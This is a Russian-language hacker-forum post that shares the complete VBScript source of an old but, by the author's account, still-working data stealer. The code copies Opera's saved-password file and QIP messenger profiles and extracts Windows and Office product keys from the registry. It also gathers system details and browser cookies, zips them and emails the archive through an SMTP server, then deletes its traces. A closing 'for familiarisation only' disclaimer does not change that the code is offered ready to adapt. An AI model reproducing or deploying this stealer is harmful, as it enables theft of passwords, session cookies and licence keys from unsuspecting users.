Стиллер всякого на VBS

[snr93]

Выкладываю свою наработку... ооочень древнюю, но новичкам для понимания логики VBS пойдет. Вообще считаю что очень недооцененный инструмент, который встроен в винду. Это вам не бат с кастратным функционалом и черным окном, это полноценный инструмент, который может быть использовал по разному. Писал я его очень давно, в году 2008 по моему. Но он еще актуален, нужно внести только несколько правок. Поэтому прошу рассматривать его как возможности VBS, говнокодинг(это был 2008г я еще даже в 9 класс не хотил, че вы хотите xD) и пример некоторых реализаций Ну а кто хочет, там поправить несколько строк и он будет работать отлично. Комментами все подписано.

А еще я дико проорал. Я его раньше выкладывал на свой, теперь уже мертвый сайт и его много куда скопипиздили. Мне не жалко, но нашлись ушлые ребята, которые его начали ПРОДАВАТЬ как приватный стиллер
При этом я нашел сливы и понял, что барыга даже не пытался что-то изменить, т.к. вот эта строка даже не изменена:

Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")

А на других ресурсах его выкладывали как СЛИВ у барыг xD Меня это знатно повеселило

Такие дела.

Короче че умеет:
- собирает инфу о системе
- тырит ключи от офиса
- тырит файлы, которые вы укажете
- пакует это все в ZIP архив и отсылает вам на почту.

Const FOF_SIMPLEPROGRESS = 256
'указываем переменные
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
'тело троя
On Error Resume Next
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\SystemFolder" ' Название временной папки
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
   Set newfolder = filesys.CreateFolder(newfolderpath)
End If
'собираем файлы
set filesys=Nothing
Set newfolder=Nothing
Set FileSystemObject = CreateObject("scripting.filesystemobject")
set WshShell1 = WScript.CreateObject("WScript.Shell")
str = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\wand.dat"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.copyfile "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\wand.dat" ,"C:\SystemFolder\wand.dat"
FolderSystemObject.copyfolder "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\QIP\Profiles" ,"C:\SystemFolder\Profiles"
'ключ от операционки и офиса
Set WshShell = CreateObject("WScript.Shell")
MicroSoft = "HKLM\SOFTWARE\Microsoft"
DigitalProductIdWindows = MicroSoft & "\Windows NT\CurrentVersion\DigitalProductId"
On Error Resume Next
Set Word = CreateObject("Word.Application")
DigitalProductIdOffice = MicroSoft & "\Office\" & word.Version & "\Registration\" & _
word.ProductCode & "\DigitalProductId"
Word.Quit
OfficeKey = GetKey(WshShell.RegRead(DigitalProductIdOffice))
WindowsKey = GetKey(WshShell.RegRead(DigitalProductIdWindows))
Function GetKey(byval p)
pc="BCDFGHJKMPQRTVWXY2346789"
For i=0 To 28
a=0
For j=0 To 14
a=p(66-j)+a*256
p(66-j)=(a\24) And 255
a=a Mod 24
Next
ProductKey = Mid(pc,a+1,1) & ProductKey
 If (((i+2) Mod 6)=0) And (i<28) Then
i=i+1
ProductKey = "-" & ProductKey
End If
Next
GetKey = ProductKey
End Function
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "Ключ от операционки: " & WindowsKey
f.WriteLine "Ключ от офиса(если пусто то офис не установлен): " & OfficeKey
                                                                                            'инфо о системе
Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
Set WshProEnv = WshShell.Environment("PROCESS")
SysInfo = "Системные параметры компьютера:" + Chr(10)+ Chr(10)
SysInfo = SysInfo + "Процессоров: " + _
WshSysEnv("NUMBER_OF_PROCESSORS") + Chr(10)
SysInfo = SysInfo + "Архитектура: " + _
WshSysEnv("PROCESSOR_ARCHITECTURE") + Chr(10)
SysInfo = SysInfo + "ID процессора: " + _
WshSysEnv("PROCESSOR_IDENTIFIER") + Chr(10)
SysInfo = SysInfo + "Поколение: " + _
WshSysEnv("PROCESSOR_LEVEL") + Chr(10)
SysInfo = SysInfo + "Операционная система: " + WshSysEnv("OS") + Chr(10)
SysInfo = SysInfo + "Файл командной строки: " + _
WshProEnv("COMSPEC") + Chr(10)
SysInfo = SysInfo + "Пути: " + WshProEnv("PATH") + Chr(10)
SysInfo = SysInfo + "Исполняемые файлы: " + _
WshSysEnv("PATHEXT") + Chr(10)
SysInfo = SysInfo + "Директория Windows: " + _
WshProEnv("WINDIR") + Chr(10)
SysInfo = SysInfo + "Временная папка: " + WshProEnv("TEMP") + Chr(10)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "" & SysInfo
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file1  = FSO.GetFile("info.txt")
file1.Move("c:\SystemFolder\info.txt")
Else
End If
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies"
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t
archPath_IE = t & "-"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
                                                                                                    'архивируем
Loop
Set oFile=Nothing
Set oFileSys=Nothing
Dim arrResult
arrResult = ZipFolder( "C:\SystemFolder", "C:\SystemFolder.zip" )
If arrResult(0) <> 0 Then
WScript.Echo "ERROR " & Join( arrResult, vbCrLf )
End If
Function ZipFolder( myFolder, myZipFile )
Dim objApp, objFSO, objTxt
Const ForWriting = 2
If Right( myFolder, 1 ) <> "\" Then
myFolder = myFolder & "\"
End If
On Error Resume Next
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set objTxt = objFSO.OpenTextFile( myZipFile, ForWriting, True )
objTxt.Write "PK" & Chr(5) & Chr(6) & String( 18, Chr(0) )
objTxt.Close
Set objTxt = Nothing
Set objFSO = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
Set objApp = CreateObject( "Shell.Application" )
objApp.NameSpace( myZipFile ).CopyHere objApp.NameSpace( myFolder ).Items
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Set objApp = Nothing
Err.Clear
On Error Goto 0
Exit Function
End If
Do Until objApp.NameSpace( myZipFile ).Items.Count _
= objApp.NameSpace( myFolder  ).Items.Count
WScript.Sleep 200
Loop
Set objApp = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
On Error Goto 0
ZipFolder = Array( 0, "", "" )
End Function
'отправляем на мыло
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
'почта от кого придет письмо
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="user_mail"
'пароль от этой почты(не от своей блять!)
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="pass_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\SystemFolder.zip"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
                  
'удаляем zip-архив
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder.zip")
file2.Delete
'удаляем info.txt
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder\info.txt")
file2.Delete
'удаляем wand.dat
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder\wand.dat")
file2.Delete

 

[snr93]

А, ну да, материал тупо для ознакомления, все использование повлечет бутылку только для ваших булок